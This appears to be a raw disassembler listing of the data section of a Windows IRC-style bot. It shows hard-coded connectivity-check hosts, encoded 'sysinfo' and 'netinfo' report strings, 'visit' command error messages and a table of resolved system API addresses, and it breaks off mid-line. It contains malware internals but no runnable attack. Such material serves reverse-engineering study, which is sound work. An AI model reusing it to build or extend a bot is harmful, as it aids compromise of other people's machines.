aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A89B+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A89B+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A89B+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A89B+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A89B+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A89B+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A89B+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A89B+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A89B+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A89B+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41AA78+39o dword_43CCD0 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AC18+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43CDAC dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AC18+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AC18:loc_41AD7Co align 10h aSS_2 db '%s (%s)',0 ; DATA XREF: sub_41AC18+EBo dword_43CDD8 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41AECC+ABo dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43CE1C dd offset loc_412F49+5 ; DATA XREF: sub_41AECC:loc_41AF40o off_43CE20 dd offset dword_4E414C ; DATA XREF: sub_41AECC:loc_41AF39o dword_43CE24 dd 6C616944h, 70752Dh ; DATA XREF: sub_41AECC+5Eo dword_43CE2C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41AECC+48o unk_43CE3C db 2Dh ; - ; DATA XREF: sub_41AF92:loc_41B14Fo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConn_0 db ' Failed to connect to HTTP server.',0 align 4 unk_43CE6C db 2Dh ; - ; DATA XREF: sub_41AF92:loc_41B148o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43CE98 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41AF92+1A6o dd 4C525520h, 2Eh unk_43CEB4 db 2Dh ; - ; DATA XREF: sub_41AF92:loc_41B12Bo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 10h dword_43CEF0 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41AF92+192o dd 64657469h, 2Eh dword_43CF0C dd 2A2F2Ah ; DATA XREF: sub_41AF92+3Bo dword_43CF10 dd 3EDCD02Ch ; DATA XREF: sub_41BAC8+4w sub_41BAD2r ... align 10h dword_43CF20 dd 173Fh ; DATA XREF: sub_41C869+Dr dd 9875h, 9873h off_43CF2C dd offset sub_41C938 ; DATA XREF: sub_41B974r dd offset nullsub_2 dd offset nullsub_2 dword_43CF38 dd 1B3Fh ; DATA XREF: sub_41C9AF+Dr dword_43CF3C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CE31+2o ; sub_41CE3A+2o off_43CF50 dd offset sub_41B9B2 ; DATA XREF: sub_41DC49+1Cr dword_43CF54 dd 2 ; DATA XREF: sub_423894+Er ; sub_4238CD+46r ... dd 10h, 0 off_43CF60 dd offset off_43CF60 ; DATA XREF: sub_41EB96+Do ; sub_41EB96+69o ... off_43CF64 dd offset off_43CF60 ; DATA XREF: sub_41EB96:loc_41EC16r ; sub_41EB96+89w ... dd offset dword_43CF78 dd offset dword_43CF78 dword_43CF70 dd 0FFFFFFFFh ; DATA XREF: sub_41EB96r ; sub_41ECDA:loc_41ED27w dd 0FFFFFFFFh dword_43CF78 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: seg002:0043CF68o ; seg002:0043CF6Co off_43EF80 dd offset off_43CF60 ; DATA XREF: sub_41ECDA+15r ; sub_41ECDA+20w ... dword_43EF84 dd 1E0h ; DATA XREF: sub_41B3F2+185r ; sub_41B703:loc_41B73Fr ... off_43EF88 dd offset word_43EF92 ; DATA XREF: sub_41B8DE+23r ; sub_41B8DE:loc_41B93Fr ... off_43EF8C dd offset word_43EF92 ; DATA XREF: sub_426E83+18r db 2 dup(0) word_43EF92 dw 20h ; DATA XREF: sub_4250A0+18r ; seg002:off_43EF88o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43F194 dd 1 ; DATA XREF: sub_41B8DE:loc_41B8E6r ; sub_41B8DE:loc_41B92Ar ... byte_43F198 db 2Eh ; DATA XREF: sub_420730:loc_420A24r ; sub_420730+311r ... align 4 dd 1 off_43F1A0 dd offset aNull_0 ; DATA XREF: sub_41F8BF:loc_41FC23r ; sub_41F8BF+457r ; "(null)" off_43F1A4 dd offset aNull ; DATA XREF: sub_41F8BF+259r ; "(null)" byte_43F1A8 db 1 ; DATA XREF: sub_4200C9+E1r db 2, 4, 8 align 10h dword_43F1B0 dd 3A4h ; DATA XREF: sub_4200C9+2Fo dword_43F1B4 dd 82798260h, 21h, 0 ; DATA XREF: sub_4200C9+11Dr dword_43F1C0 dd 0DFA6h ; DATA XREF: sub_4200C9+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43F2A0 dd 1 ; DATA XREF: sub_4200C9+3Co ; sub_4205FF+Co dword_43F2A4 dd 16h ; DATA XREF: sub_4205FF:loc_420634r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43F408 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4205FF+19o ; sub_420730:loc_420C97o dword_43F410 dd 5Dh, 0 ; DATA XREF: sub_420730:loc_420B87o dword_43F418 dd 14h ; DATA XREF: sub_421844+2o off_43F41C dd offset aExp ; DATA XREF: sub_421844:loc_421861r ; "exp" dd 1Dh, 428878h, 1Ah, 42D938h, 1Bh, 428870h, 1Fh, 428868h dd 13h, 428860h, 21h, 428858h, 0Eh, 428850h, 0Dh, 428848h dd 0Fh, 428840h, 10h, 428838h, 5, 428830h, 1Eh, 42882Ch dd 12h, 428828h, 20h, 428824h, 0Ch, 42881Ch, 0Bh, 428814h dd 15h, 42880Ch, 1Ch, 428804h, 19h, 4287FCh, 11h, 4287F4h dd 18h, 4287ECh, 16h, 4287E4h, 17h, 4287DCh, 22h, 4287D8h dd 23h, 4287D4h, 24h, 4287D0h dbl_43F4F0 dq 1.797693134862316e308 ; DATA XREF: sub_42157F+B7r ; sub_42157F:loc_421666r ... dd 0 dd 0FFF80000h dbl_43F500 dq 1.797693134862316e308 ; DATA XREF: sub_42157F+92r ; sub_42157F:loc_42163Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43F518 dt 2.3562723457267347066e313 ; DATA XREF: sub_421A2C+Dr ; sub_421A2C+1Fr align 4 tbyte_43F524 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_421A2C+31r align 10h off_43F530 dd offset sub_421EC0 ; DATA XREF: sub_41C950+Fw ; sub_41F8BF+3AAr off_43F534 dd offset sub_421B55 ; DATA XREF: sub_41C950+5w ; sub_41F8BF+3E2r off_43F538 dd offset sub_421BBB ; DATA XREF: sub_41C950+14w ; sub_420730+430r off_43F53C dd offset sub_421AFB ; DATA XREF: sub_41C950+1Ew ; sub_41F8BF+3CBr off_43F540 dd offset sub_421BA3 ; DATA XREF: sub_41C950+28w off_43F544 dd offset sub_421EC0 ; DATA XREF: sub_41C950+32w dd offset sub_42495C align 10h dd offset sub_42277C off_43F554 dd offset sub_42277C ; DATA XREF: sub_4227D2+29r off_43F558 dd offset dword_4DE300 ; DATA XREF: sub_42294B+55o dd 0 dd offset dword_4DE300 dd 101h dword_43F568 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42294B+72o dd 1000h, 0 dword_43F578 dd 3 dup(0) ; DATA XREF: sub_41D3DC+2o ; sub_41F7AA+50o ... dd 2, 0FFFFFFFFh, 3 dup(0) dword_43F598 dd 3 dup(0) ; DATA XREF: sub_41F7AA+58o ; sub_420666:loc_420684o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43F5C8 dd 84h dup(0) ; DATA XREF: sub_42294B+9Bo dword_43F7D8 dd 0C0000005h ; DATA XREF: sub_42294B+69o ; sub_423133+Ar ... dword_43F7DC dd 0Bh ; DATA XREF: sub_425CD2+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43F850 dd 3 ; DATA XREF: sub_422FF2+58r ; sub_425BA5+C8r dword_43F854 dd 7 ; DATA XREF: sub_422FF2+5Er ; sub_425BA5+CDr dword_43F858 dd 0Ah ; DATA XREF: sub_423133+4r ; sub_425CD2+4r dword_43F85C dd 8Ch ; DATA XREF: sub_422FF2+82r ; sub_422FF2+8Fw ... dword_43F860 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F263:loc_41F2E4o ; sub_41F7AA:loc_41F867o dword_43F868 dd 2 ; DATA XREF: sub_4238CD+Eo ; sub_4238CD+28r off_43F86C dd offset aR6002FloatingP ; DATA XREF: sub_4238CD+FCr ; sub_4238CD+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 428B94h, 9, 428B68h, 0Ah, 428B44h, 10h, 428B18h dd 11h, 428AE8h, 12h, 428AC4h, 13h, 428A98h, 18h, 428A60h dd 19h, 428A38h, 1Ah, 428A00h, 1Bh, 4289C8h, 1Ch, 4289A0h dd 78h, 428990h, 79h, 428980h, 7Ah, 428970h, 0FCh, 4364CCh dd 0FFh, 428960h dword_43F8F8 dd 2 dup(0) ; DATA XREF: sub_4238CD+1Bo dword_43F900 dd 2694h ; DATA XREF: sub_4211E1+3r ; sub_421234+46r align 8 dword_43F908 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_42473Co dword_43F920 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424752o dword_43F938 dd 7080h ; DATA XREF: seg000:004228FFr ; sub_424A3C+5Ew ... dword_43F93C dd 1 ; DATA XREF: seg000:00422921r ; sub_424A3C+8Bw ... dword_43F940 dd 0FFFFF1F0h ; DATA XREF: seg000:loc_42293Br ; sub_424A3C+94w ... dword_43F944 dd 545350h, 0Fh dup(0) ; DATA XREF: seg002:off_43F9C4o dword_43F984 dd 544450h, 0Fh dup(0) ; DATA XREF: seg002:off_43F9C8o off_43F9C4 dd offset dword_43F944 ; DATA XREF: sub_424A3C+BAr ; sub_424A3C+D9r ... off_43F9C8 dd offset dword_43F984 ; DATA XREF: sub_424A3C+F4r ; sub_424A3C+11Br ... align 10h dword_43F9D0 dd 0FFFFFFFFh ; DATA XREF: sub_424A3C+1Dw ; sub_424C9A+1Er ... dword_43F9D4 dd 0 ; DATA XREF: sub_424C9A:loc_424DCEr ; sub_424E46+BFw dword_43F9D8 dd 0 ; DATA XREF: sub_424C9A+192r ; sub_424E46+E0w align 10h dword_43F9E0 dd 0FFFFFFFFh ; DATA XREF: sub_424A3C+17w ; sub_424C9A+26r ... dword_43F9E4 dd 0 ; DATA XREF: sub_424C9A+13Ar ; sub_424E46+EAw ... dword_43F9E8 dd 0 ; DATA XREF: sub_424C9A+1A1r ; sub_424E46+23r ... dword_43F9EC dd 0FFFFFFFFh ; DATA XREF: sub_424E46+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43FA1C dd 16Dh ; DATA XREF: seg000:004228B3r ; sub_424E46+2Er ... dword_43FA20 dd 0FFFFFFFFh ; DATA XREF: sub_424E46:loc_424ED2r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43FA58 dd 2 dup(0) ; DATA XREF: sub_42602A+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43FBB8 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_42602A+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_43FD18 dd offset off_428D88 ; DATA XREF: seg001:00428F0Co ; seg001:0042900Co align 10h a_?avexception@ db '.?AVexception@@',0 off_43FD30 dd offset off_428D88 ; DATA XREF: seg001:off_428DF8o ; seg001:00428E8Co ... align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h off_43FD50 dd offset off_428D88 ; DATA XREF: seg001:off_428E10o ; seg001:00428E54o ... align 8 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43FD70 dd offset off_428D88 ; DATA XREF: seg001:off_428E98o ; seg001:00428EDCo ... align 8 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h off_43FD90 dd offset off_428D88 ; DATA XREF: seg001:off_428F18o ; seg001:00428F54o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42495C align 10h dword_43FDB0 dd 0 ; DATA XREF: sub_401132+C8o dword_43FDB4 dd 0 ; DATA XREF: sub_401132+62o ; seg000:0040395Fo ... dword_43FDB8 dd 0 ; DATA XREF: seg000:004025B7o ; seg000:00402628r ... dd 5 dup(0) dword_43FDD0 dd 0 ; DATA XREF: seg000:00402613r ; sub_4151B6+60r dd 2D9h dup(0) dword_440938 dd 0 ; DATA XREF: seg000:004078D3r ; seg000:004079D5r ... dd 7Fh dup(0) dword_440B38 dd 0 ; DATA XREF: sub_40AF71+4Cw ; sub_40B0AC+3Aw ... dword_440B3C dd 0 ; DATA XREF: sub_40AF71+3Ew ; sub_40B0AC+40w ... dword_440B40 dd 0 ; DATA XREF: sub_40AF71+45w ; sub_40B0AC+34r ... dword_440B44 dd 0 ; DATA XREF: sub_401132+Cr ; sub_401875+B9w ... dword_440B48 dd 0 ; DATA XREF: sub_40B0AC+6Fr ; sub_40B287+2Aw ... dword_440B4C dd 0 ; DATA XREF: seg000:0040228Cw ; seg000:004024E9w ... byte_440B50 db 0 ; DATA XREF: sub_401875+91o ; seg000:0040781Br ... align 4 dd 12FFh dup(0) dword_445750 dd 473Ch dup(0) ; DATA XREF: seg002:off_43640Co db 0 byte_457441 db 3 dup(0) ; DATA XREF: seg002:off_43B124o dd 0E304h dup(0) dword_490054 dd 7FFFh dup(0) ; DATA XREF: seg002:00433C21o ; seg002:00434451o db 2 dup(0) word_4B0052 dw 0 ; DATA XREF: seg002:00434447o dd 147Ch dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: seg002:off_43AF90o dd 61BCh dup(0) dword_4CD938 dd 856Ch ; DATA XREF: sub_401132+FDw ; sub_40AF71+13o ... dword_4CD93C dd 19h ; DATA XREF: seg000:00401273w ; seg000:loc_4044D0r ... dd 5Ah dup(0) dword_4CDAA8 dd 0 ; DATA XREF: seg000:00409915w dword_4CDAAC dd 0 ; DATA XREF: seg000:0040236Dr dword_4CDAB0 dd 0 ; DATA XREF: seg000:0040978Bo ; sub_40C7FA+13o ... dword_4CDAB4 dd 77C72C6Bh ; DATA XREF: sub_409A01+4A7w ; sub_409A01+4EBr ... dword_4CDAB8 dd 77EBA994h ; DATA XREF: sub_409A01+65w ; seg000:004199E9r dword_4CDABC dd 7622A3F4h ; DATA XREF: sub_409A01+80Bw ; sub_409A01+880r ... dword_4CDAC0 dd 71C45229h ; DATA XREF: sub_409A01+9D8w ; sub_409A01+A43r ... dword_4CDAC4 dd 71C24870h ; DATA XREF: sub_409A01+98Aw ; sub_409A01+A13r ... dword_4CDAC8 dd 77C71BB0h ; DATA XREF: sub_409A01+48Dw ; sub_409A01+4DBr ... dword_4CDACC dd 77D4808Bh ; DATA XREF: sub_409A01+213w ; sub_409A01+234r ... dword_4CDAD0 dd 71C4502Ch ; DATA XREF: sub_409A01+9CBw ; sub_409A01+A3Br ... dword_4CDAD4 dd 77DE801Bh ; DATA XREF: sub_409A01+372w ; sub_409A01+3C7r ... dword_4CDAD8 dd 77DDACABh ; DATA XREF: sub_409A01+40Fw ; sub_41AC18+11Er dword_4CDADC dd 77DE8075h ; DATA XREF: sub_409A01+37Fw ; sub_409A01+3CFr ... dword_4CDAE0 dd 77DD7496h ; DATA XREF: sub_409A01+3C0w ; sub_418E8B+ADr dword_4CDAE4 dd 71AB1B7Bh ; DATA XREF: sub_409A01+55Aw ; sub_40F477+115r ... dword_4CDAE8 dd 77E686CCh ; DATA XREF: sub_409A01+72w ; sub_409A01+D2r ... dword_4CDAEC dd 71C2498Bh ; DATA XREF: sub_409A01+97Dw ; sub_409A01+A06r ... dword_4CDAF0 dd 77DDAB2Fh ; DATA XREF: sub_409A01+3A6w ; sub_409A01+3E7r ... dword_4CDAF4 dd 7620E8C3h ; DATA XREF: sub_409A01+859w ; sub_409A01+8ACr ... dword_4CDAF8 dd 77DD23D7h ; DATA XREF: sub_409A01+2A5w ; sub_409A01+2F0r ... dword_4CDAFC dd 76214750h ; DATA XREF: sub_409A01+84Cw ; sub_409A01+8A4r ... dword_4CDB00 dd 77E6D75Bh ; DATA XREF: sub_409A01+B3w dword_4CDB04 dd 7620BD61h ; DATA XREF: sub_409A01+866w ; sub_409A01+8B4r dword_4CDB08 dd 71AB60C9h ; DATA XREF: sub_409A01+54Dw ; sub_409A01+6D0r ... dword_4CDB0C dd 77EBA6E9h ; DATA XREF: sub_409A01+58w ; sub_409A01+CAr ... dword_4CDB10 dd 76D62A58h ; DATA XREF: sub_409A01+934w dword_4CDB14 dd 76F36EAAh ; DATA XREF: seg000:loc_403EC9r ; sub_409A01+A95w ... dword_4CDB18 dd 77E802FCh ; DATA XREF: sub_409A01+A6w ; sub_409A01+F2r dword_4CDB1C dd 77C75455h ; DATA XREF: sub_409A01+480w ; sub_409A01+4D3r ... dword_4CDB20 dd 71AB12A7h ; DATA XREF: sub_409A01+5F6w ; sub_40BE0D+20r ... dword_4CDB24 dd 71C574FAh ; DATA XREF: sub_409A01+9BEw ; sub_409A01+A33r dword_4CDB28 dd 71AB1746h ; DATA XREF: sub_409A01+5E9w ; sub_409A01+754r ... dword_4CDB2C dd 71C21CA3h ; DATA XREF: sub_409A01+A0Cw dword_4CDB30 dd 71B28D0Dh ; DATA XREF: sub_409A01+B50w dword_4CDB34 dd 762211EFh ; DATA XREF: sub_409A01+7FEw ; sub_409A01+86Dr dword_4CDB38 dd 77D902E3h ; DATA XREF: sub_409A01+1B3w ; sub_40B1B3+16o ... dword_4CDB3C dd 71C2FA86h ; DATA XREF: sub_409A01+997w ; sub_409A01+A1Br ... dword_4CDB40 dd 77DE1291h ; DATA XREF: sub_409A01+38Cw ; sub_409A01+3D7r ... dword_4CDB44 dd 77E2C1B3h ; DATA XREF: sub_409A01+399w ; sub_409A01+3DFr ... dword_4CDB48 dd 73B81E3Bh ; DATA XREF: sub_409A01+C85w ; sub_409A01+C8Cr ... dword_4CDB4C dd 71ABF628h ; DATA XREF: sub_409A01+6ACw ; seg000:00410A4Ar dword_4CDB50 dd 71AB1836h ; DATA XREF: sub_401132+1Dr ; sub_401132+23r ... dword_4CDB54 dd 77C72889h ; DATA XREF: sub_409A01+4B4w ; seg000:004156C5r dword_4CDB58 dd 71C453F8h ; DATA XREF: sub_409A01+9E5w ; sub_409A01+A4Br ... dword_4CDB5C dd 77DD5C55h ; DATA XREF: start+55r sub_409A01+2B2w ... dword_4CDB60 dd 77E96645h ; DATA XREF: sub_409A01+7Fw ; sub_409A01+DAr ... dword_4CDB64 dd 77428B97h ; DATA XREF: seg000:00407386r ; seg000:00409400r ... dword_4CDB68 dd 71AB41DAh ; DATA XREF: seg000:004012C2r ; seg000:00406B85r ... dword_4CDB6C dd 762059A3h ; DATA XREF: sub_409A01+825w ; sub_409A01+890r ... dword_4CDB70 dd 71C4A1B4h ; DATA XREF: sub_409A01+9A4w ; sub_409A01+A23r dword_4CDB74 dd 1F7CD214h ; DATA XREF: sub_409A01+C0Ew ; sub_409A01+C3Fr dword_4CDB78 dd 77E09134h ; DATA XREF: sub_409A01+2CCw ; sub_4186C5+47r dword_4CDB7C dd 77D4456Bh ; DATA XREF: sub_409A01+22Dw ; seg000:00411E93r ... dword_4CDB80 dd 76D629BBh ; DATA XREF: sub_409A01+91Aw ; sub_409A01+92Er dword_4CDB84 dd 1F7B9D96h ; DATA XREF: sub_409A01+C28w dword_4CDB88 dd 77E09070h ; DATA XREF: sub_409A01+2D9w ; sub_4186C5+4Fr dword_4CDB8C dd 71AB1740h ; DATA XREF: sub_409A01+574w ; sub_409A01+6E8r ... dword_4CDB90 dd 7620AFB6h ; DATA XREF: sub_409A01+83Fw ; sub_409A01+873r dword_4CDB94 dd 77D5C13Ah ; DATA XREF: sub_409A01+220w ; sub_409A01+23Cr ... dword_4CDB98 dd 77D45B19h ; DATA XREF: sub_409A01+172w ; sub_409A01+1C2r ... dword_4CDB9C dd 71AB157Eh ; DATA XREF: seg000:004038A0r ; seg000:0040753Dr ... dword_4CDBA0 dd 71AB3E5Dh ; DATA XREF: sub_401875+C4r ; seg000:00406C0Fr ... dword_4CDBA4 dd 71AB14DCh ; DATA XREF: sub_409A01+567w ; sub_409A01+6DCr ... dword_4CDBA8 dd 0CC0004h ; DATA XREF: sub_409A01+8DBw ; sub_409A01:loc_40A2FAw ... dword_4CDBAC dd 77DD590Bh ; DATA XREF: start+2Ar sub_409A01+28Bw ... dword_4CDBB0 dd 71ABD755h ; DATA XREF: seg000:00409382r ; sub_409A01+69Fw ... dword_4CDBB4 dd 77DF7311h ; DATA XREF: sub_409A01+32Dw ; sub_409A01+341r ... dword_4CDBB8 dd 77DDA2AFh ; DATA XREF: sub_409A01+3B3w ; sub_409A01+3EFr ... dword_4CDBBC dd 1F7CD927h ; DATA XREF: sub_409A01+C01w ; sub_409A01+C37r dword_4CDBC0 dd 76206853h ; DATA XREF: sub_409A01+818w ; sub_409A01+888r ... dword_4CDBC4 dd 77D4932Ch ; DATA XREF: sub_409A01+206w ; sub_409A01+227r ... dword_4CDBC8 dd 77D5E310h ; DATA XREF: sub_409A01+18Cw ; sub_409A01+1D2r ... dword_4CDBCC dd 76206B7Fh ; DATA XREF: sub_409A01+832w ; sub_409A01+898r ... dword_4CDBD0 dd 71AB1444h ; DATA XREF: sub_409A01+624w ; sub_409A01+774r dword_4CDBD4 dd 77DD189Ah ; DATA XREF: start+5Er sub_409A01+2BFw ... dword_4CDBD8 dd 71AB3F8Dh ; DATA XREF: sub_409A01+66Bw ; sub_409A01+79Cr ... dword_4CDBDC dd 77DD5D20h ; DATA XREF: sub_409A01+320w ; sub_409A01+334r ... dword_4CDBE0 dd 71AB1890h ; DATA XREF: sub_409A01+644w ; sub_409A01+784r ... dword_4CDBE4 dd 77C76B34h ; DATA XREF: sub_409A01+44Cw ; sub_409A01+4AEr ... dword_4CDBE8 dd 77D5E38Ch ; DATA XREF: sub_409A01+199w ; sub_409A01+1DAr ... dword_4CDBEC dd 77DDA20Bh ; DATA XREF: sub_409A01+365w ; sub_409A01+3BAr ... dword_4CDBF0 dd 76F36EEBh ; DATA XREF: sub_409A01+AA2w dword_4CDBF4 dd 71AB12A7h ; DATA XREF: sub_409A01+5DCw ; sub_409A01+748r ... dword_4CDBF8 dd 71AB1746h ; DATA XREF: sub_401875+3Er ; seg000:00406BC1r ... dword_4CDBFC dd 77EBA595h ; DATA XREF: sub_409A01+4Bw ; sub_409A01+C2r ... dword_4CDC00 dd 77C7531Dh ; DATA XREF: sub_409A01+473w ; sub_409A01+4CBr ... dword_4CDC04 dd 77D4BDCAh ; DATA XREF: sub_409A01+165w ; sub_409A01+1BAr ... dword_4CDC08 dd 71C3516Ah ; DATA XREF: sub_409A01+9FFw ; sub_409A01+A5Br dword_4CDC0C dd 71AB32CAh ; DATA XREF: sub_409A01+685w ; sub_409A01+7ACr ... dword_4CDC10 dd 71AB5690h ; DATA XREF: 